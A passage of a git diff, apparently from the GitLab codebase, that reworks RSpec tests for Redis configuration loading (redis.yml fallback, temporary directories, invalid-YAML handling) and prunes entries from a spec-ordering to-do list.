index 34ac69236ee..2c5ceb2f09e 100644
--- a/spec/support/redis/redis_helpers.rb
+++ b/spec/support/redis/redis_helpers.rb
@@ -6,11 +6,4 @@ module RedisHelpers
instance_class.with(&:flushdb)
end
end
-
- # Usage: reset cached instance config
- def redis_clear_raw_config!(instance_class)
- instance_class.remove_instance_variable(:@_raw_config)
- rescue NameError
- # raised if @_raw_config was not set; ignore
- end
end
diff --git a/spec/support/redis/redis_new_instance_shared_examples.rb b/spec/support/redis/redis_new_instance_shared_examples.rb
index 943fe0f11ba..0f2de78b2cb 100644
--- a/spec/support/redis/redis_new_instance_shared_examples.rb
+++ b/spec/support/redis/redis_new_instance_shared_examples.rb
@@ -3,27 +3,22 @@
require 'spec_helper'
RSpec.shared_examples "redis_new_instance_shared_examples" do |name, fallback_class|
+ include TmpdirHelper
+
let(:instance_specific_config_file) { "config/redis.#{name}.yml" }
let(:environment_config_file_name) { "GITLAB_REDIS_#{name.upcase}_CONFIG_FILE" }
let(:fallback_config_file) { nil }
+ let(:rails_root) { mktmpdir }
before do
- redis_clear_raw_config!(fallback_class)
-
allow(fallback_class).to receive(:config_file_name).and_return(fallback_config_file)
end
- after do
- redis_clear_raw_config!(fallback_class)
- end
-
it_behaves_like "redis_shared_examples"
describe '.config_file_name' do
subject { described_class.config_file_name }
- let(:rails_root) { Dir.mktmpdir('redis_shared_examples') }
-
before do
# Undo top-level stub of config_file_name because we are testing that method now.
allow(described_class).to receive(:config_file_name).and_call_original
@@ -32,10 +27,6 @@ RSpec.shared_examples "redis_new_instance_shared_examples" do |name, fallback_cl
FileUtils.mkdir_p(File.join(rails_root, 'config'))
end
- after do
- FileUtils.rm_rf(rails_root)
- end
-
context 'when there is only a resque.yml' do
before do
FileUtils.touch(File.join(rails_root, 'config/resque.yml'))
@@ -58,4 +49,49 @@ RSpec.shared_examples "redis_new_instance_shared_examples" do |name, fallback_cl
end
end
end
+
+ describe '#fetch_config' do
+ context 'when redis.yml exists' do
+ subject { described_class.new('test').send(:fetch_config) }
+
+ before do
+ allow(described_class).to receive(:config_file_name).and_call_original
+ allow(described_class).to receive(:redis_yml_path).and_call_original
+ allow(described_class).to receive(:rails_root).and_return(rails_root)
+ FileUtils.mkdir_p(File.join(rails_root, 'config'))
+ end
+
+ context 'when the fallback has a redis.yml entry' do
+ before do
+ File.write(File.join(rails_root, 'config/redis.yml'), {
+ 'test' => {
+ described_class.config_fallback.store_name.underscore => { 'fallback redis.yml' => 123 }
+ }
+ }.to_json)
+ end
+
+ it { expect(subject).to eq({ 'fallback redis.yml' => 123 }) }
+
+ context 'and an instance config file exists' do
+ before do
+ File.write(File.join(rails_root, instance_specific_config_file), {
+ 'test' => { 'instance specific file' => 456 }
+ }.to_json)
+ end
+
+ it { expect(subject).to eq({ 'instance specific file' => 456 }) }
+
+ context 'and the instance has a redis.yml entry' do
+ before do
+ File.write(File.join(rails_root, 'config/redis.yml'), {
+ 'test' => { name => { 'instance redis.yml' => 789 } }
+ }.to_json)
+ end
+
+ it { expect(subject).to eq({ 'instance redis.yml' => 789 }) }
+ end
+ end
+ end
+ end
+ end
end
diff --git a/spec/support/redis/redis_shared_examples.rb b/spec/support/redis/redis_shared_examples.rb
index 0368fd63357..43c118a362d 100644
--- a/spec/support/redis/redis_shared_examples.rb
+++ b/spec/support/redis/redis_shared_examples.rb
@@ -2,6 +2,7 @@
RSpec.shared_examples "redis_shared_examples" do
include StubENV
+ include TmpdirHelper
let(:test_redis_url) { "redis://redishost:#{redis_port}" }
let(:test_cluster_config) { { cluster: [{ host: "redis://redishost", port: redis_port }] } }
@@ -18,15 +19,11 @@ RSpec.shared_examples "redis_shared_examples" do
let(:sentinel_port) { 26379 }
let(:config_with_environment_variable_inside) { "spec/fixtures/config/redis_config_with_env.yml" }
let(:config_env_variable_url) { "TEST_GITLAB_REDIS_URL" }
- let(:rails_root) { Dir.mktmpdir('redis_shared_examples') }
+ let(:rails_root) { mktmpdir }
before do
allow(described_class).to receive(:config_file_name).and_return(Rails.root.join(config_file_name).to_s)
- redis_clear_raw_config!(described_class)
- end
-
- after do
- redis_clear_raw_config!(described_class)
+ allow(described_class).to receive(:redis_yml_path).and_return('/dev/null')
end
describe '.config_file_name' do
@@ -40,10 +37,6 @@ RSpec.shared_examples "redis_shared_examples" do
FileUtils.mkdir_p(File.join(rails_root, 'config'))
end
- after do
- FileUtils.rm_rf(rails_root)
- end
-
context 'when there is no config file anywhere' do
it { expect(subject).to be_nil }
@@ -250,26 +243,6 @@ RSpec.shared_examples "redis_shared_examples" do
end
end
- describe '._raw_config' do
- subject { described_class._raw_config }
-
- let(:config_file_name) { '/var/empty/doesnotexist' }
-
- it 'is frozen' do
- expect(subject).to be_frozen
- end
-
- it 'returns false when the file does not exist' do
- expect(subject).to eq(false)
- end
-
- it "returns false when the filename can't be determined" do
- expect(described_class).to receive(:config_file_name).and_return(nil)
-
- expect(subject).to eq(false)
- end
- end
-
describe '.with' do
let(:config_file_name) { config_old_format_socket }
@@ -313,10 +286,6 @@ RSpec.shared_examples "redis_shared_examples" do
allow(described_class).to receive(:rails_root).and_return(rails_root)
end
- after do
- FileUtils.rm_rf(rails_root)
- end
-
it 'can run an empty block' do
expect { described_class.with { nil } }.not_to raise_error
end
@@ -408,9 +377,7 @@ RSpec.shared_examples "redis_shared_examples" do
context 'when sentinels are not defined' do
let(:config_file_name) { config_old_format_host }
- it 'returns false' do
- is_expected.to be_falsey
- end
+ it { expect(subject).to eq(nil) }
end
context 'when cluster is defined' do
@@ -435,22 +402,39 @@ RSpec.shared_examples "redis_shared_examples" do
end
describe '#fetch_config' do
- it 'returns false when no config file is present' do
- allow(described_class).to receive(:_raw_config) { false }
+ it 'raises an exception when the config file contains invalid yaml' do
+ Tempfile.open('bad.yml') do |file|
+ file.write('{"not":"yaml"')
+ file.flush
+ allow(described_class).to receive(:config_file_name) { file.path }
- expect(subject.send(:fetch_config)).to eq false
+ expect { subject.send(:fetch_config) }.to raise_error(Psych::SyntaxError)
+ end
end
- it 'returns false when config file is present but has invalid YAML' do
- allow(described_class).to receive(:_raw_config) { "# development: true" }
+ it 'has a value for the legacy default URL' do
+ allow(subject).to receive(:fetch_config) { nil }
- expect(subject.send(:fetch_config)).to eq false
+ expect(subject.send(:raw_config_hash)).to include(url: a_string_matching(%r{\Aredis://localhost:638[012]\Z}))
end
- it 'has a value for the legacy default URL' do
- allow(subject).to receive(:fetch_config) { false }
+ context 'when redis.yml exists' do
+ subject { described_class.new('test').send(:fetch_config) }
- expect(subject.send(:raw_config_hash)).to include(url: a_string_matching(%r{\Aredis://localhost:638[012]\Z}))
+ before do
+ allow(described_class).to receive(:config_file_name).and_call_original
+ allow(described_class).to receive(:redis_yml_path).and_call_original
+ allow(described_class).to receive(:rails_root).and_return(rails_root)
+ FileUtils.mkdir_p(File.join(rails_root, 'config'))
+ end
+
+ it 'uses config/redis.yml' do
+ File.write(File.join(rails_root, 'config/redis.yml'), {
+ 'test' => { described_class.store_name.underscore => { 'foobar' => 123 } }
+ }.to_json)
+
+ expect(subject).to eq({ 'foobar' => 123 })
+ end
end
end
diff --git a/spec/support/rspec_order_todo.yml b/spec/support/rspec_order_todo.yml
index 489ed89c048..2f3f0feb87e 100644
--- a/spec/support/rspec_order_todo.yml
+++ b/spec/support/rspec_order_todo.yml
@@ -30,11 +30,6 @@
- './ee/spec/controllers/admin/runners_controller_spec.rb'
- './ee/spec/controllers/admin/users_controller_spec.rb'
- './ee/spec/controllers/autocomplete_controller_spec.rb'
-- './ee/spec/controllers/boards/issues_controller_spec.rb'
-- './ee/spec/controllers/boards/lists_controller_spec.rb'
-- './ee/spec/controllers/boards/milestones_controller_spec.rb'
-- './ee/spec/controllers/boards/users_controller_spec.rb'
-- './ee/spec/controllers/concerns/boards_responses_spec.rb'
- './ee/spec/controllers/concerns/ee/routable_actions/sso_enforcement_redirect_spec.rb'
- './ee/spec/controllers/concerns/geo_instrumentation_spec.rb'
- './ee/spec/controllers/concerns/gitlab_subscriptions/seat_count_alert_spec.rb'
@@ -107,7 +102,6 @@
- './ee/spec/controllers/groups/security/vulnerabilities_controller_spec.rb'
- './ee/spec/controllers/groups/sso_controller_spec.rb'
- './ee/spec/controllers/groups/todos_controller_spec.rb'
-- './ee/spec/controllers/groups/usage_quotas_controller_spec.rb'
- './ee/spec/controllers/groups/wikis_controller_spec.rb'
- './ee/spec/controllers/ldap/omniauth_callbacks_controller_spec.rb'
- './ee/spec/controllers/oauth/applications_controller_spec.rb'
@@ -141,7 +135,6 @@
- './ee/spec/controllers/projects/issues_controller_spec.rb'
- './ee/spec/controllers/projects/iteration_cadences_controller_spec.rb'
- './ee/spec/controllers/projects/iterations_controller_spec.rb'
-- './ee/spec/controllers/projects/legacy_pipelines_controller_spec.rb'
- './ee/spec/controllers/projects/licenses_controller_spec.rb'
- './ee/spec/controllers/projects/merge_requests_controller_spec.rb'
- './ee/spec/controllers/projects/merge_requests/creations_controller_spec.rb'
@@ -171,11 +164,8 @@
- './ee/spec/controllers/projects/subscriptions_controller_spec.rb'
- './ee/spec/controllers/projects/vulnerability_feedback_controller_spec.rb'
- './ee/spec/controllers/registrations/company_controller_spec.rb'
-- './ee/spec/controllers/registrations/groups_controller_spec.rb'
- './ee/spec/controllers/registrations/groups_projects_controller_spec.rb'
-- './ee/spec/controllers/registrations/projects_controller_spec.rb'
- './ee/spec/controllers/registrations/verification_controller_spec.rb'
-- './ee/spec/controllers/registrations/welcome_controller_spec.rb'
- './ee/spec/controllers/repositories/git_http_controller_spec.rb'
- './ee/spec/controllers/security/dashboard_controller_spec.rb'
- './ee/spec/controllers/security/projects_controller_spec.rb'
@@ -210,7 +200,6 @@
- './ee/spec/elastic/migrate/20220512150000_pause_indexing_for_unsupported_es_versions_spec.rb'
- './ee/spec/elastic/migrate/20220613120500_migrate_commits_to_separate_index_spec.rb'
- './ee/spec/elastic/migrate/20220713103500_delete_commits_from_original_index_spec.rb'
-- './ee/spec/factories/lfs_object_spec.rb'
- './ee/spec/features/account_recovery_regular_check_spec.rb'
- './ee/spec/features/admin/admin_credentials_inventory_spec.rb'
- './ee/spec/features/admin/admin_dashboard_spec.rb'
@@ -260,7 +249,6 @@
- './ee/spec/features/ci_shared_runner_settings_spec.rb'
- './ee/spec/features/ci_shared_runner_warnings_spec.rb'
- './ee/spec/features/clusters/cluster_detail_page_spec.rb'
-- './ee/spec/features/contextual_sidebar_spec.rb'
- './ee/spec/features/dashboards/activity_spec.rb'
- './ee/spec/features/dashboards/groups_spec.rb'
- './ee/spec/features/dashboards/issues_spec.rb'
@@ -312,8 +300,6 @@
- './ee/spec/features/groups/hooks/user_views_hooks_spec.rb'
- './ee/spec/features/groups/insights_spec.rb'
- './ee/spec/features/groups/issues_spec.rb'
-- './ee/spec/features/groups/iterations/iterations_list_spec.rb'
-- './ee/spec/features/groups/iteration_spec.rb'
- './ee/spec/features/groups/iterations/user_creates_iteration_in_cadence_spec.rb'
- './ee/spec/features/groups/iterations/user_edits_iteration_cadence_spec.rb'
- './ee/spec/features/groups/iterations/user_edits_iteration_spec.rb'
@@ -333,7 +319,6 @@
- './ee/spec/features/groups/saml_group_links_spec.rb'
- './ee/spec/features/groups/saml_providers_spec.rb'
- './ee/spec/features/groups/scim_token_spec.rb'
-- './ee/spec/features/groups/seat_usage/seat_usage_spec.rb'
- './ee/spec/features/groups/security/compliance_dashboards_spec.rb'
- './ee/spec/features/groups/settings/ci_cd_spec.rb'
- './ee/spec/features/groups/settings/protected_environments_spec.rb'
@@ -342,10 +327,8 @@
- './ee/spec/features/groups/settings/user_searches_in_settings_spec.rb'
- './ee/spec/features/groups_spec.rb'
- './ee/spec/features/groups/sso_spec.rb'
-- './ee/spec/features/groups/usage_quotas_spec.rb'
- './ee/spec/features/groups/wikis_spec.rb'
- './ee/spec/features/groups/wiki/user_views_wiki_empty_spec.rb'
-- './ee/spec/features/ide/user_commits_changes_spec.rb'
- './ee/spec/features/ide/user_opens_ide_spec.rb'
- './ee/spec/features/integrations/jira/jira_issues_list_spec.rb'
- './ee/spec/features/invites_spec.rb'
@@ -432,7 +415,6 @@
- './ee/spec/features/projects/issues/user_creates_issue_spec.rb'
- './ee/spec/features/projects/issues/viewing_relocated_issues_spec.rb'
- './ee/spec/features/projects/iterations/iteration_cadences_list_spec.rb'
-- './ee/spec/features/projects/iterations/iterations_list_spec.rb'
- './ee/spec/features/projects/iterations/user_views_iteration_spec.rb'
- './ee/spec/features/projects/jobs/blocked_deployment_job_page_spec.rb'
- './ee/spec/features/projects/jobs_spec.rb'
@@ -450,7 +432,6 @@
- './ee/spec/features/projects/new_project_from_template_spec.rb'
- './ee/spec/features/projects/new_project_spec.rb'
- './ee/spec/features/projects/path_locks_spec.rb'
-- './ee/spec/features/projects/pipelines/legacy_pipeline_spec.rb'
- './ee/spec/features/projects/pipelines/pipeline_csp_spec.rb'
- './ee/spec/features/projects/pipelines/pipeline_spec.rb'
- './ee/spec/features/projects/pipelines/pipelines_spec.rb'
@@ -479,7 +460,6 @@
- './ee/spec/features/projects/settings/user_manages_approval_settings_spec.rb'
- './ee/spec/features/projects/settings/user_manages_issues_template_spec.rb'
- './ee/spec/features/projects/settings/user_manages_members_spec.rb'
-- './ee/spec/features/projects/settings/user_manages_merge_pipelines_spec.rb'
- './ee/spec/features/projects/settings/user_manages_merge_requests_template_spec.rb'
- './ee/spec/features/projects/settings/user_manages_merge_trains_spec.rb'
- './ee/spec/features/projects/show/developer_views_empty_project_instructions_spec.rb'
@@ -494,9 +474,6 @@
- './ee/spec/features/read_only_spec.rb'
- './ee/spec/features/registrations/combined_registration_spec.rb'
- './ee/spec/features/registrations/one_trust_spec.rb'
-- './ee/spec/features/registrations/saas_user_registration_spec.rb'
-- './ee/spec/features/registrations/trial_during_signup_flow_spec.rb'
-- './ee/spec/features/registrations/user_sees_new_onboarding_flow_spec.rb'
- './ee/spec/features/registrations/welcome_spec.rb'
- './ee/spec/features/search/elastic/global_search_spec.rb'
- './ee/spec/features/search/elastic/group_search_spec.rb'
@@ -595,7 +572,6 @@
- './ee/spec/finders/productivity_analytics_finder_spec.rb'
- './ee/spec/finders/projects/integrations/jira/by_ids_finder_spec.rb'
- './ee/spec/finders/projects/integrations/jira/issues_finder_spec.rb'
-- './ee/spec/finders/requirements_management/requirements_finder_spec.rb'
- './ee/spec/finders/scim_finder_spec.rb'
- './ee/spec/finders/security/findings_finder_spec.rb'
- './ee/spec/finders/security/pipeline_vulnerabilities_finder_spec.rb'
@@ -641,7 +617,6 @@
- './ee/spec/graphql/ee/mutations/concerns/mutations/resolves_issuable_spec.rb'
- './ee/spec/graphql/ee/resolvers/board_list_issues_resolver_spec.rb'
- './ee/spec/graphql/ee/resolvers/board_lists_resolver_spec.rb'
-- './ee/spec/graphql/ee/resolvers/issues_resolver_spec.rb'
- './ee/spec/graphql/ee/resolvers/namespace_projects_resolver_spec.rb'
- './ee/spec/graphql/ee/types/alert_management/http_integration_type_spec.rb'
- './ee/spec/graphql/ee/types/board_list_type_spec.rb'
@@ -718,7 +693,6 @@
- './ee/spec/graphql/mutations/requirements_management/update_requirement_spec.rb'
- './ee/spec/graphql/mutations/security/ci_configuration/configure_container_scanning_spec.rb'
- './ee/spec/graphql/mutations/security/ci_configuration/configure_dependency_scanning_spec.rb'
-- './ee/spec/graphql/mutations/security_finding/dismiss_spec.rb'
- './ee/spec/graphql/mutations/security_policy/assign_security_policy_project_spec.rb'
- './ee/spec/graphql/mutations/security_policy/commit_scan_execution_policy_spec.rb'
- './ee/spec/graphql/mutations/security_policy/create_security_policy_project_spec.rb'
@@ -958,7 +932,6 @@
- './ee/spec/graphql/types/vulnerable_projects_by_grade_type_spec.rb'
- './ee/spec/graphql/types/work_items/type_spec.rb'
- './ee/spec/graphql/types/work_items/widget_interface_spec.rb'
-- './ee/spec/graphql/types/work_items/widgets/verification_status_type_spec.rb'
- './ee/spec/helpers/admin/emails_helper_spec.rb'
- './ee/spec/helpers/admin/ip_restriction_helper_spec.rb'
- './ee/spec/helpers/admin/repo_size_limit_helper_spec.rb'
@@ -1020,7 +993,6 @@
- './ee/spec/helpers/ee/trial_registration_helper_spec.rb'
- './ee/spec/helpers/ee/users/callouts_helper_spec.rb'
- './ee/spec/helpers/ee/version_check_helper_spec.rb'
-- './ee/spec/helpers/ee/welcome_helper_spec.rb'
- './ee/spec/helpers/ee/wiki_helper_spec.rb'
- './ee/spec/helpers/epics_helper_spec.rb'
- './ee/spec/helpers/gitlab_subscriptions/upcoming_reconciliation_helper_spec.rb'
@@ -1132,13 +1104,6 @@
- './ee/spec/lib/ee/api/helpers/scim_pagination_spec.rb'
- './ee/spec/lib/ee/api/helpers_spec.rb'
- './ee/spec/lib/ee/api/helpers/variables_helpers_spec.rb'
-- './ee/spec/lib/ee/audit/compliance_framework_changes_auditor_spec.rb'
-- './ee/spec/lib/ee/audit/group_changes_auditor_spec.rb'
-- './ee/spec/lib/ee/audit/project_changes_auditor_spec.rb'
-- './ee/spec/lib/ee/audit/project_ci_cd_setting_changes_auditor_spec.rb'
-- './ee/spec/lib/ee/audit/project_feature_changes_auditor_spec.rb'
-- './ee/spec/lib/ee/audit/project_setting_changes_auditor_spec.rb'
-- './ee/spec/lib/ee/audit/protected_branches_changes_auditor_spec.rb'
- './ee/spec/lib/ee/backup/repositories_spec.rb'
- './ee/spec/lib/ee/banzai/filter/sanitization_filter_spec.rb'
- './ee/spec/lib/ee/bulk_imports/groups/stage_spec.rb'
@@ -1170,7 +1135,6 @@
- './ee/spec/lib/ee/gitlab/background_migration/migrate_approver_to_approval_rules_check_progress_spec.rb'
- './ee/spec/lib/ee/gitlab/background_migration/migrate_approver_to_approval_rules_in_batch_spec.rb'
- './ee/spec/lib/ee/gitlab/background_migration/migrate_approver_to_approval_rules_spec.rb'
-- './ee/spec/lib/ee/gitlab/background_migration/migrate_job_artifact_registry_to_ssf_spec.rb'
- './ee/spec/lib/ee/gitlab/background_migration/migrate_shared_vulnerability_scanners_spec.rb'
- './ee/spec/lib/ee/gitlab/background_migration/populate_latest_pipeline_ids_spec.rb'
- './ee/spec/lib/ee/gitlab/background_migration/populate_namespace_statistics_spec.rb'
@@ -1197,7 +1161,6 @@
- './ee/spec/lib/ee/gitlab/ci/pipeline/chain/validate/external_spec.rb'
- './ee/spec/lib/ee/gitlab/ci/pipeline/chain/validate/security_orchestration_policy_spec.rb'
- './ee/spec/lib/ee/gitlab/ci/pipeline/quota/activity_spec.rb'
-- './ee/spec/lib/ee/gitlab/ci/pipeline/quota/job_activity_spec.rb'
- './ee/spec/lib/ee/gitlab/ci/pipeline/quota/size_spec.rb'
- './ee/spec/lib/ee/gitlab/ci/reports/security/reports_spec.rb'
- './ee/spec/lib/ee/gitlab/ci/status/build/manual_spec.rb'
@@ -1219,8 +1182,6 @@
- './ee/spec/lib/ee/gitlab/hook_data/issue_builder_spec.rb'
- './ee/spec/lib/ee/gitlab/hook_data/user_builder_spec.rb'
- './ee/spec/lib/ee/gitlab/import_export/after_export_strategies/custom_template_export_import_strategy_spec.rb'
-- './ee/spec/lib/ee/gitlab/import_export/group/legacy_tree_restorer_spec.rb'
-- './ee/spec/lib/ee/gitlab/import_export/group/legacy_tree_saver_spec.rb'
- './ee/spec/lib/ee/gitlab/import_export/group/tree_restorer_spec.rb'
- './ee/spec/lib/ee/gitlab/import_export/group/tree_saver_spec.rb'
- './ee/spec/lib/ee/gitlab/import_export/project/tree_restorer_spec.rb'
@@ -1241,11 +1202,9 @@
- './ee/spec/lib/ee/gitlab/repo_path_spec.rb'
- './ee/spec/lib/ee/gitlab/repository_size_checker_spec.rb'
- './ee/spec/lib/ee/gitlab/scim/attribute_transform_spec.rb'
-- './ee/spec/lib/ee/gitlab/scim/deprovision_service_spec.rb'
- './ee/spec/lib/ee/gitlab/scim/filter_parser_spec.rb'
- './ee/spec/lib/ee/gitlab/scim/params_parser_spec.rb'
- './ee/spec/lib/ee/gitlab/scim/provisioning_service_spec.rb'
-- './ee/spec/lib/ee/gitlab/scim/reprovision_service_spec.rb'
- './ee/spec/lib/ee/gitlab/scim/value_parser_spec.rb'
- './ee/spec/lib/ee/gitlab/search_results_spec.rb'
- './ee/spec/lib/ee/gitlab/security/scan_configuration_spec.rb'
@@ -1385,13 +1344,11 @@
- './ee/spec/lib/gitlab/ci/parsers/security/dast_spec.rb'
- './ee/spec/lib/gitlab/ci/parsers/security/dependency_list_spec.rb'
- './ee/spec/lib/gitlab/ci/parsers/security/dependency_scanning_spec.rb'
-- './ee/spec/lib/gitlab/ci/parsers/security/formatters/dast_spec.rb'
- './ee/spec/lib/gitlab/ci/parsers/security/formatters/dependency_list_spec.rb'
- './ee/spec/lib/gitlab/ci/parsers/security/validators/default_branch_image_validator_spec.rb'
- './ee/spec/lib/gitlab/ci/pipeline/chain/config/content_spec.rb'
- './ee/spec/lib/gitlab/ci/pipeline/chain/create_cross_database_associations_spec.rb'
- './ee/spec/lib/gitlab/ci/pipeline/chain/limit/activity_spec.rb'
-- './ee/spec/lib/gitlab/ci/pipeline/chain/limit/job_activity_spec.rb'
- './ee/spec/lib/gitlab/ci/pipeline/chain/limit/size_spec.rb'
- './ee/spec/lib/gitlab/ci/reports/coverage_fuzzing/report_spec.rb'
- './ee/spec/lib/gitlab/ci/reports/dependency_list/dependency_spec.rb'
@@ -1533,7 +1490,6 @@
- './ee/spec/lib/gitlab/insights/reducers/base_reducer_spec.rb'
- './ee/spec/lib/gitlab/insights/reducers/count_per_label_reducer_spec.rb'
- './ee/spec/lib/gitlab/insights/reducers/count_per_period_reducer_spec.rb'
-- './ee/spec/lib/gitlab/insights/reducers/dora_reducer_spec.rb'
- './ee/spec/lib/gitlab/insights/reducers/label_count_per_period_reducer_spec.rb'
- './ee/spec/lib/gitlab/insights/serializers/chartjs/bar_serializer_spec.rb'
- './ee/spec/lib/gitlab/insights/serializers/chartjs/bar_time_series_serializer_spec.rb'
@@ -1552,7 +1508,6 @@
- './ee/spec/lib/gitlab/middleware/ip_restrictor_spec.rb'
- './ee/spec/lib/gitlab/mirror_spec.rb'
- './ee/spec/lib/gitlab/object_hierarchy_spec.rb'
-- './ee/spec/lib/gitlab/pagination_delegate_spec.rb'
- './ee/spec/lib/gitlab/pagination/keyset/simple_order_builder_spec.rb'
- './ee/spec/lib/gitlab/patch/database_config_spec.rb'
- './ee/spec/lib/gitlab/patch/draw_route_spec.rb'
@@ -1590,7 +1545,6 @@
- './ee/spec/lib/gitlab/usage_data_counters/epic_activity_unique_counter_spec.rb'
- './ee/spec/lib/gitlab/usage_data_counters/licenses_list_spec.rb'
- './ee/spec/lib/gitlab/usage_data_metrics_spec.rb'
-- './ee/spec/lib/gitlab/usage/metrics/aggregates/aggregate_spec.rb'
- './ee/spec/lib/gitlab/usage/metrics/instrumentations/advanced_search/build_type_metric_spec.rb'
- './ee/spec/lib/gitlab/usage/metrics/instrumentations/advanced_search/distribution_metric_spec.rb'
- './ee/spec/lib/gitlab/usage/metrics/instrumentations/advanced_search/lucene_version_metric_spec.rb'
@@ -1670,12 +1624,10 @@
- './ee/spec/migrations/add_non_null_constraint_for_escalation_rule_on_pending_alert_escalations_spec.rb'
- './ee/spec/migrations/async_build_trace_expire_at_index_spec.rb'
- './ee/spec/migrations/backfill_delayed_group_deletion_spec.rb'
-- './ee/spec/migrations/backfill_namespace_statistics_with_wiki_size_spec.rb'
- './ee/spec/migrations/drop_invalid_remediations_spec.rb'
- './ee/spec/migrations/geo/fix_state_column_in_file_registry_spec.rb'
- './ee/spec/migrations/geo/fix_state_column_in_lfs_object_registry_spec.rb'
- './ee/spec/migrations/geo/migrate_ci_job_artifacts_to_separate_registry_spec.rb'
-- './ee/spec/migrations/geo/migrate_job_artifact_registry_spec.rb'
- './ee/spec/migrations/geo/migrate_lfs_objects_to_separate_registry_spec.rb'
- './ee/spec/migrations/geo/set_resync_flag_for_retried_projects_spec.rb'
- './ee/spec/migrations/remove_schedule_and_status_null_constraints_from_pending_escalations_alert_spec.rb'
@@ -1683,14 +1635,11 @@
- './ee/spec/migrations/schedule_populate_test_reports_issue_id_spec.rb'
- './ee/spec/migrations/schedule_requirements_migration_spec.rb'
- './ee/spec/migrations/schedule_trace_expiry_removal_spec.rb'
-- './ee/spec/migrations/update_gitlab_subscriptions_start_at_post_eoa_spec.rb'
- './ee/spec/migrations/update_vulnerability_occurrences_location_spec.rb'
- './ee/spec/models/alert_management/alert_payload_field_spec.rb'
- './ee/spec/models/allowed_email_domain_spec.rb'
- './ee/spec/models/analytics/cycle_analytics/aggregation_context_spec.rb'
- './ee/spec/models/analytics/cycle_analytics/group_level_spec.rb'
-- './ee/spec/models/analytics/cycle_analytics/group_stage_spec.rb'
-- './ee/spec/models/analytics/cycle_analytics/group_value_stream_spec.rb'
- './ee/spec/models/analytics/cycle_analytics/project_stage_spec.rb'
- './ee/spec/models/analytics/cycle_analytics/runtime_limiter_spec.rb'
- './ee/spec/models/analytics/devops_adoption/enabled_namespace_spec.rb'
@@ -1698,7 +1647,6 @@
- './ee/spec/models/analytics/issues_analytics_spec.rb'
- './ee/spec/models/analytics/language_trend/repository_language_spec.rb'
- './ee/spec/models/application_setting_spec.rb'
-- './ee/spec/models/approvable_spec.rb'
- './ee/spec/models/approval_merge_request_rule_spec.rb'
- './ee/spec/models/approval_project_rule_spec.rb'
- './ee/spec/models/approvals/scan_finding_wrapped_rule_set_spec.rb'
@@ -1730,7 +1678,6 @@
- './ee/spec/models/ci/daily_build_group_report_result_spec.rb'
- './ee/spec/models/ci/minutes/additional_pack_spec.rb'
- './ee/spec/models/ci/minutes/context_spec.rb'
-- './ee/spec/models/ci/minutes/limit_spec.rb'
- './ee/spec/models/ci/minutes/namespace_monthly_usage_spec.rb'
- './ee/spec/models/ci/minutes/notification_spec.rb'
- './ee/spec/models/ci/minutes/project_monthly_usage_spec.rb'
@@ -1942,7 +1889,6 @@
- './ee/spec/models/namespace_limit_spec.rb'
- './ee/spec/models/namespace_setting_spec.rb'
- './ee/spec/models/namespaces/free_user_cap_spec.rb'
-- './ee/spec/models/namespaces/free_user_cap/standard_spec.rb'
- './ee/spec/models/namespaces/storage/root_excess_size_spec.rb'
- './ee/spec/models/namespaces/storage/root_size_spec.rb'
- './ee/spec/models/note_spec.rb'
@@ -1963,9 +1909,7 @@
- './ee/spec/models/project_team_spec.rb'
- './ee/spec/models/protected_branch/required_code_owners_section_spec.rb'
- './ee/spec/models/protected_branch/unprotect_access_level_spec.rb'
-- './ee/spec/models/protected_environment/deploy_access_level_spec.rb'
- './ee/spec/models/protected_environments/approval_rule_spec.rb'
-- './ee/spec/models/protected_environments/approval_summary_spec.rb'
- './ee/spec/models/protected_environment_spec.rb'
- './ee/spec/models/push_rule_spec.rb'
- './ee/spec/models/release_highlight_spec.rb'
@@ -2030,7 +1974,6 @@
- './ee/spec/models/vulnerability_user_mention_spec.rb'
- './ee/spec/models/weight_note_spec.rb'
- './ee/spec/models/work_item_spec.rb'
-- './ee/spec/models/work_items/widgets/verification_status_spec.rb'
- './ee/spec/policies/approval_merge_request_rule_policy_spec.rb'
- './ee/spec/policies/approval_project_rule_policy_spec.rb'
- './ee/spec/policies/approval_state_policy_spec.rb'
@@ -2265,7 +2208,6 @@
- './ee/spec/requests/api/graphql/mutations/requirements_management/create_requirement_spec.rb'
- './ee/spec/requests/api/graphql/mutations/requirements_management/export_requirements_spec.rb'
- './ee/spec/requests/api/graphql/mutations/requirements_management/update_requirement_spec.rb'
-- './ee/spec/requests/api/graphql/mutations/security_finding/create_issue_spec.rb'
- './ee/spec/requests/api/graphql/mutations/security_policy/assign_security_policy_project_spec.rb'
- './ee/spec/requests/api/graphql/mutations/security_policy/commit_scan_execution_policy_spec.rb'
- './ee/spec/requests/api/graphql/mutations/security_policy/create_security_policy_project_spec.rb'
@@ -2337,7 +2279,6 @@
- './ee/spec/requests/api/ldap_spec.rb'
- './ee/spec/requests/api/license_spec.rb'
- './ee/spec/requests/api/managed_licenses_spec.rb'
-- './ee/spec/requests/api/markdown_golden_master_spec.rb'
- './ee/spec/requests/api/members_spec.rb'
- './ee/spec/requests/api/merge_request_approval_rules_spec.rb'
- './ee/spec/requests/api/merge_request_approval_settings_spec.rb'
@@ -2367,7 +2308,6 @@
- './ee/spec/requests/api/resource_label_events_spec.rb'
- './ee/spec/requests/api/resource_weight_events_spec.rb'
- './ee/spec/requests/api/saml_group_links_spec.rb'
-- './ee/spec/requests/api/scim_spec.rb'
- './ee/spec/requests/api/search_spec.rb'
- './ee/spec/requests/api/settings_spec.rb'
- './ee/spec/requests/api/status_checks_spec.rb'
@@ -2449,14 +2389,12 @@
- './ee/spec/routing/user_routing_spec.rb'
- './ee/spec/routing/webhook_routes_spec.rb'
- './ee/spec/serializers/analytics/cycle_analytics/event_entity_spec.rb'
-- './ee/spec/serializers/analytics/cycle_analytics/stage_entity_spec.rb'
- './ee/spec/serializers/analytics/cycle_analytics/value_stream_errors_serializer_spec.rb'
- './ee/spec/serializers/audit_event_entity_spec.rb'
- './ee/spec/serializers/audit_event_serializer_spec.rb'
- './ee/spec/serializers/autocomplete/group_entity_spec.rb'
- './ee/spec/serializers/autocomplete/group_serializer_spec.rb'
- './ee/spec/serializers/blocking_merge_request_entity_spec.rb'
-- './ee/spec/serializers/board_serializer_spec.rb'
- './ee/spec/serializers/clusters/deployment_entity_spec.rb'
- './ee/spec/serializers/clusters/environment_entity_spec.rb'
- './ee/spec/serializers/clusters/environment_serializer_spec.rb'
@@ -2469,7 +2407,6 @@
- './ee/spec/serializers/dependency_list_serializer_spec.rb'
- './ee/spec/serializers/ee/admin/user_entity_spec.rb'
- './ee/spec/serializers/ee/blob_entity_spec.rb'
